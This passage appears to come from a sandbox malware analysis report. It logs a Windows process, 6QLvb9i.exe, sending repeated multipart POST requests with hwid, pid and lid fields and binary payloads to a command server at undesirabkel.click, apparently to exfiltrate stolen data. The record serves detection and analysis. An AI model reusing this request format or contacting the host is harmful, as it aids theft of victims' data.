7a 62 6c 49 37 6f 59 4b 2f 36 2b 36 58 2b 69 41 4b 6f 49 35 57 65 Data Ascii: foFcUpaGT/BlLJhnWRKYMzZhuwo/rv5r/qNAaMrnp0nsk80Dl4FepbVkneUcVV/49mGpD+5o72t+8tV6SOLlySoBn1AVh4oz5i4dYhsR3XO0obiIfKw8a3ygAKlatfTLqJPIg53FinZlr1smXgDbYzNyeMst+K9qfyACakmmZckuh11SV4UMdyftGCEa0h9xMaF6jLyqO/qucsKsWrB0x+9H2pNGywszYO4aoMjXDzblI7oYK/6+6X+iAKoI5We
2024-12-30 09:35:03 UTC	1369	IN	Data Raw: 49 4f 59 52 59 30 2f 4a 61 6f 4a 35 41 74 57 6a 4c 46 32 4d 6d 38 59 50 53 39 2f 71 76 39 67 67 47 6d 4c 5a 32 42 49 37 30 64 65 30 39 53 45 44 62 4f 6d 4c 35 74 6a 6d 70 4f 66 73 2f 54 6a 75 73 6c 74 2f 53 39 72 65 2f 4c 56 65 6b 4c 6c 4a 67 6c 34 56 55 36 55 52 63 45 65 73 6d 5a 38 7a 2f 50 59 30 6c 33 79 4e 6d 4b 36 79 50 6c 75 2f 75 34 39 34 59 48 75 79 43 53 6c 69 53 33 41 6e 6c 49 58 78 59 32 33 4a 79 7a 5a 49 51 6a 44 54 4c 46 7a 4d 6d 38 59 4e 53 74 36 36 44 77 68 78 75 69 4b 35 71 46 4a 4b 70 50 4e 41 35 49 47 69 75 4f 7a 61 56 33 6d 47 52 63 50 4e 75 55 6a 75 68 67 72 2f 72 37 6f 2f 47 4d 43 36 63 34 6e 4a 55 6d 74 51 5a 7a 53 6c 45 65 4f 73 71 52 74 47 4b 4d 62 30 68 31 77 64 75 4e 37 53 37 2b 74 62 33 6b 74 34 77 56 36 58 4c 5a 73 6a 4b 35 41 Data Ascii: IOYRY0/JaoJ5AtWjLF2Mm8YPS9/qv9ggGmLZ2BI70de09SEDbOmL5tjmpOfs/Tjuslt/S9re/LVekLlJgl4VU6URcEesmZ8z/PY0l3yNmK6yPlu/u494YHuyCSliS3AnlIXxY23JyzZIQjDTLFzMm8YNSt66DwhxuiK5qFJKpPNA5IGiuOzaV3mGRcPNuUjuhgr/r7o/GMC6c4nJUmtQZzSlEeOsqRtGKMb0h1wduN7S7+tb3kt4wV6XLZsjK5A
2024-12-30 09:35:03 UTC	1369	IN	Data Raw: 50 4f 63 66 56 2f 53 65 49 65 77 4d 71 67 76 53 43 38 69 58 77 72 4c 2b 66 39 49 55 44 72 6a 7a 5a 6a 42 62 30 54 33 56 55 47 55 55 44 31 39 57 30 61 38 38 37 41 32 66 46 31 49 37 2b 4e 76 43 32 37 4b 48 36 68 79 2b 6d 4c 59 2b 51 4a 72 6b 65 63 77 4a 53 45 48 71 41 31 62 52 2f 7a 7a 73 44 58 63 58 43 69 73 73 6a 35 72 4f 39 35 4c 65 4d 47 2b 6c 79 32 61 31 70 71 41 78 71 54 56 59 4d 42 49 37 4e 71 6c 6e 50 61 46 56 31 30 74 65 66 37 79 33 37 71 38 50 71 72 39 39 66 2b 33 6a 4c 77 54 62 36 45 45 55 41 47 52 78 36 6c 71 79 71 4a 35 6b 6a 47 79 43 4d 6c 4a 75 6b 65 4c 66 39 2f 72 6a 6c 6a 51 36 2f 4b 64 36 74 46 35 30 5a 63 45 6c 4a 47 69 33 42 31 66 30 6e 67 43 4d 62 53 34 4c 64 6a 76 38 78 34 62 66 74 72 62 65 30 51 2b 6b 79 32 63 74 70 6a 77 78 30 51 46 Data Ascii: POcfV/SeIewMqgvSC8iXwrL+f9IUDrjzZjBb0T3VUGUUD19W0a887A2fF1I7+NvC27KH6hy+mLY+QJrkecwJSEHqA1bR/zzsDXcXCissj5rO95LeMG+ly2a1pqAxqTVYMBI7NqlnPaFV10tef7y37q8Pqr99f+3jLwTb6EEUAGRx6lqyqJ5kjGyCMlJukeLf9/rjljQ6/Kd6tF50ZcElJGi3B1f0ngCMbS4Ldjv8x4bftrbe0Q+ky2ctpjwx0QF
2024-12-30 09:35:03 UTC	1369	IN	Data Raw: 6c 72 5a 67 77 32 74 53 66 38 36 55 78 36 51 31 2f 4c 62 37 70 2b 4c 45 48 4c 38 70 6a 35 52 6c 73 68 35 33 51 68 6b 69 64 49 36 4e 38 7a 2f 50 56 6b 42 38 7a 4e 4f 66 39 57 33 58 73 66 47 70 2b 34 6f 4b 36 57 54 5a 6c 57 6e 69 58 44 51 4f 58 51 78 36 6c 73 58 68 50 4e 6f 77 46 43 4b 51 79 38 66 39 59 4f 48 36 70 66 69 35 79 78 2f 70 63 74 6e 55 4b 71 67 64 66 45 31 50 48 6e 33 77 71 37 4a 71 67 43 39 4e 65 63 4c 54 6d 66 49 37 75 37 4c 2b 73 4f 32 31 4d 34 49 6d 6e 35 51 7a 76 51 6c 63 62 68 6c 54 65 73 48 56 36 31 37 50 4b 77 4e 4e 6a 4a 53 52 70 48 69 33 6a 2f 36 6b 2b 59 77 62 75 47 65 78 73 42 4f 41 54 56 5a 4a 54 46 38 4f 79 59 57 69 62 49 4a 76 41 7a 79 43 30 73 6d 38 63 4c 6e 36 2b 62 75 33 30 31 33 37 63 63 7a 41 66 75 70 64 5a 51 42 41 58 53 79 Data Ascii: lrZgw2tSf86Ux6Q1/Lb7p+LEHL8pj5Rlsh53QhkidI6N8z/PVkB8zNOf9W3XsfGp+4oK6WTZlWniXDQOXQx6lsXhPNowFCKQy8f9YOH6pfi5yx/pctnUKqgdfE1PHn3wq7JqgC9NecLTmfI7u7L+sO21M4Imn5QzvQlcbhlTesHV617PKwNNjJSRpHi3j/6k+YwbuGexsBOATVZJTF8OyYWibIJvAzyC0sm8cLn6+bu30137cczAfupdZQBAXSy
2024-12-30 09:35:03 UTC	1369	IN	Data Raw: 63 39 38 44 57 75 43 77 73 6d 38 63 37 6e 36 37 2b 71 76 79 30 71 6e 4a 35 69 51 4a 37 6b 64 61 45 68 61 43 7a 6d 4a 71 34 31 43 67 6d 35 47 66 4d 58 71 74 38 55 71 35 37 66 79 72 62 57 72 43 72 38 70 70 36 30 65 71 77 68 71 44 48 38 65 4c 4d 33 56 2f 53 65 58 49 78 73 79 34 39 36 5a 36 53 2f 77 2b 4e 32 74 34 59 68 4e 35 32 71 64 30 33 48 36 4b 6e 64 44 58 42 4d 39 6a 4c 53 35 64 34 4a 73 52 44 44 69 30 35 2f 6e 59 4c 6e 36 38 65 71 76 79 77 79 6a 4f 70 53 63 4c 76 59 49 59 45 6b 5a 55 33 72 41 31 65 73 6e 6a 6d 6c 54 66 38 33 54 78 65 49 75 2b 66 72 69 35 4f 37 4c 47 2b 6c 79 79 74 31 70 71 45 38 69 44 68 34 65 4b 4e 79 54 73 48 47 4d 4a 48 31 4d 37 38 61 4f 39 43 4f 31 69 2f 43 75 34 5a 34 4f 75 53 32 6e 72 51 53 6f 43 47 70 4e 47 79 77 73 7a 5a 57 39 Data Ascii: c98DWuCwsm8c7n67+qvy0qnJ5iQJ7kdaEhaCzmJq41Cgm5GfMXqt8Uq57fyrbWrCr8pp60eqwhqDH8eLM3V/SeXIxsy496Z6S/w+N2t4YhN52qd03H6KndDXBM9jLS5d4JsRDDi05/nYLn68eqvywyjOpScLvYIYEkZU3rA1esnjmlTf83TxeIu+fri5O7LG+lyyt1pqE8iDh4eKNyTsHGMJH1M78aO9CO1i/Cu4Z4OuS2nrQSoCGpNGywszZW9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.97.3	443	7448	C:\Users\user\Desktop\6QLvb9i.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 09:35:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M5RFGGPFQ6E23C58Q2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18170 Host: undesirabkel.click
2024-12-30 09:35:04 UTC	15331	OUT	Data Raw: 2d 2d 4d 35 52 46 47 47 50 46 51 36 45 32 33 43 35 38 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 35 38 38 31 34 43 30 31 37 39 38 45 34 31 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 4d 35 52 46 47 47 50 46 51 36 45 32 33 43 35 38 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 35 52 46 47 47 50 46 51 36 45 32 33 43 35 38 51 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 69 6a 63 75 6a Data Ascii: --M5RFGGPFQ6E23C58Q2Content-Disposition: form-data; name="hwid"9558814C01798E4192A467F615F074C7--M5RFGGPFQ6E23C58Q2Content-Disposition: form-data; name="pid"2--M5RFGGPFQ6E23C58Q2Content-Disposition: form-data; name="lid"LPnhqo--ijcuj
2024-12-30 09:35:04 UTC	2839	OUT	Data Raw: 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 Data Ascii: e,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)py
2024-12-30 09:35:05 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 09:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ju35hu4rm2u0thf5gmrvb26s6o; expires=Fri, 25 Apr 2025 03:21:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2sZfKTVspwvRgJlf3esRIZBbPDlYqZNxpw5TBudqEromukDlo6Ux7YoU1i9A%2BqhW3APdqh92%2FAHUej23E4vNzLV1FYTH3B7%2FoUye8a44GWz1a3S3R%2BmtC%2BTWXksD3nchSHe%2FvS0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa109a5f9567cea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1921&min_rtt=1909&rtt_var=741&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19134&delivery_rate=1451292&cwnd=226&unsent_bytes=0&cid=1303d817d62e3b9c&ts=592&x=0"
2024-12-30 09:35:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 09:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.97.3	443	7448	C:\Users\user\Desktop\6QLvb9i.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 09:35:05 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HX8AF28N9IWIB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8761 Host: undesirabkel.click
2024-12-30 09:35:05 UTC	8761	OUT	Data Raw: 2d 2d 48 58 38 41 46 32 38 4e 39 49 57 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 35 38 38 31 34 43 30 31 37 39 38 45 34 31 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 48 58 38 41 46 32 38 4e 39 49 57 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 58 38 41 46 32 38 4e 39 49 57 49 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 69 6a 63 75 6a 6d 70 72 67 69 6c 69 0d 0a 2d 2d 48 58 38 41 Data Ascii: --HX8AF28N9IWIBContent-Disposition: form-data; name="hwid"9558814C01798E4192A467F615F074C7--HX8AF28N9IWIBContent-Disposition: form-data; name="pid"2--HX8AF28N9IWIBContent-Disposition: form-data; name="lid"LPnhqo--ijcujmprgili--HX8A
2024-12-30 09:35:10 UTC	1140	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 09:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7df22ckkedvlc03eke67srmb8q; expires=Fri, 25 Apr 2025 03:21:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fs%2FNZbKcukDqMll575Ia9sPdTXDsLJ%2BLOZ%2BupIarfsPcOB5O0KE3s85esjf7s4rDoLeyFc9%2Fy6AK7lajilKOST%2FuPdLW4XZae%2F%2BLJV50s6d0QGmyi7giXXR%2BTPqS956oO61rarY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa109ace8324283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1716&rtt_var=658&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9697&delivery_rate=1643218&cwnd=242&unsent_bytes=0&cid=5507d0c02ebe6bde&ts=4586&x=0"
2024-12-30 09:35:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 09:35:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.97.3	443	7448	C:\Users\user\Desktop\6QLvb9i.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 09:35:10 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WK0XXEF4YWLIU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20414 Host: undesirabkel.click
2024-12-30 09:35:10 UTC	15331	OUT	Data Raw: 2d 2d 57 4b 30 58 58 45 46 34 59 57 4c 49 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 35 38 38 31 34 43 30 31 37 39 38 45 34 31 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 57 4b 30 58 58 45 46 34 59 57 4c 49 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 4b 30 58 58 45 46 34 59 57 4c 49 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 69 6a 63 75 6a 6d 70 72 67 69 6c 69 0d 0a 2d 2d 57 4b 30 58 Data Ascii: --WK0XXEF4YWLIUContent-Disposition: form-data; name="hwid"9558814C01798E4192A467F615F074C7--WK0XXEF4YWLIUContent-Disposition: form-data; name="pid"3--WK0XXEF4YWLIUContent-Disposition: form-data; name="lid"LPnhqo--ijcujmprgili--WK0X
2024-12-30 09:35:10 UTC	5083	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-30 09:35:11 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 09:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3ej4n2fd0jtn5bubfjgc8ar9b9; expires=Fri, 25 Apr 2025 03:21:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FSI%2BDbuIjec99yOqMGlrga3GPiuOW8jN%2B34J7nm6Qmg3mTfl3vdmDID2gvxoZ0XhjXgMWCa5hGDkWhkF9ddcJsr46N53cA61ArD6DyAQvnjvvp2swcWY5jVbH8660SerKqgp4uo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa109cda9a0439d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1561&rtt_var=608&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21373&delivery_rate=1767554&cwnd=201&unsent_bytes=0&cid=5a4851e0b827f18f&ts=993&x=0"
2024-12-30 09:35:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 09:35:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.97.3	443	7448	C:\Users\user\Desktop\6QLvb9i.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 09:35:12 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3ZHG7RNY9ZSH6DB20 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: undesirabkel.click
2024-12-30 09:35:12 UTC	1270	OUT	Data Raw: 2d 2d 33 5a 48 47 37 52 4e 59 39 5a 53 48 36 44 42 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 35 38 38 31 34 43 30 31 37 39 38 45 34 31 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 33 5a 48 47 37 52 4e 59 39 5a 53 48 36 44 42 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 5a 48 47 37 52 4e 59 39 5a 53 48 36 44 42 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 69 6a 63 75 6a 6d 70 72 Data Ascii: --3ZHG7RNY9ZSH6DB20Content-Disposition: form-data; name="hwid"9558814C01798E4192A467F615F074C7--3ZHG7RNY9ZSH6DB20Content-Disposition: form-data; name="pid"1--3ZHG7RNY9ZSH6DB20Content-Disposition: form-data; name="lid"LPnhqo--ijcujmpr
2024-12-30 09:35:13 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 09:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5egnt5cji2jccbsiubjuc6hkru; expires=Fri, 25 Apr 2025 03:21:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PjHc6Ya2yiL6XnvyGm6XMa6DTfZ9FB5TJyIeQ0HUYszc8jJ%2FACK9lN9KOhPCoRkbAERRXJOz41e76on7Jb77QPwuN%2Bda52zeHMhd%2FsXBbkuNwvXunkMrTT5E2%2F9WO%2BdzzsWbqDs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa109d8be2f5e80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2313&min_rtt=2307&rtt_var=879&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2188&delivery_rate=1236240&cwnd=218&unsent_bytes=0&cid=705cde7666a91afe&ts=455&x=0"
2024-12-30 09:35:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 09:35:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.97.3	443	7448	C:\Users\user\Desktop\6QLvb9i.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 09:35:14 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=74MLWMEBR72 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551336 Host: undesirabkel.click
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: 2d 2d 37 34 4d 4c 57 4d 45 42 52 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 35 38 38 31 34 43 30 31 37 39 38 45 34 31 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 0d 0a 2d 2d 37 34 4d 4c 57 4d 45 42 52 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 34 4d 4c 57 4d 45 42 52 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 69 6a 63 75 6a 6d 70 72 67 69 6c 69 0d 0a 2d 2d 37 34 4d 4c 57 4d 45 42 52 37 Data Ascii: --74MLWMEBR72Content-Disposition: form-data; name="hwid"9558814C01798E4192A467F615F074C7--74MLWMEBR72Content-Disposition: form-data; name="pid"1--74MLWMEBR72Content-Disposition: form-data; name="lid"LPnhqo--ijcujmprgili--74MLWMEBR7
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: 63 10 09 94 2e 24 b0 da 96 dc f8 1a 0a eb 8a 94 3d 8c d1 c7 c2 01 0b 10 93 fd 48 c1 e0 6f d3 88 b7 72 76 10 71 a2 69 a4 3d bd 83 33 61 78 25 1f 7d 61 3b d8 be 35 23 da 2c 3a ea 3b 97 e5 01 0a 26 ed ad 79 7b 7b c1 3e d9 bc 2d 58 71 1a a1 a1 0d 94 d5 92 2d 79 4e b7 1f 12 09 31 b5 a3 4a 9f 4a 2d 2b ad 4f 44 66 9a 5f 65 a5 77 bb 36 1a 74 80 27 e8 34 01 23 63 72 20 f4 f8 c4 93 d1 48 71 88 e8 04 7f 63 d5 cb 79 84 67 14 bc 72 ed 40 c5 29 83 1f d9 2b d5 2a ab e3 ba 4f 09 69 29 c6 59 d0 b4 33 3c 33 64 d8 a8 7b 3f 9c 30 04 3d 09 9d ca 44 c3 c0 eb 20 83 c2 8d ef c8 bf ee 71 d9 c6 86 d7 58 54 f8 1a 66 40 97 83 5f 56 97 49 cb 71 33 ca 89 a1 99 81 b4 6e d7 eb 84 67 03 ca b2 d7 56 f6 0d c5 1e 0b fb 6c 10 c0 3b eb c2 cb 34 f6 73 4d 5e bc 29 a7 9e ea 8f bf de 9b 2e 40 8e Data Ascii: c.$=Horvqi=3ax%}a;5#,:;&y{{>-Xq-yN1JJ-+ODf_ew6t'4#cr Hqcygr@)+*Oi)Y3<3d{?0=D qXTf@_VIq3ngVl;4sM^).@
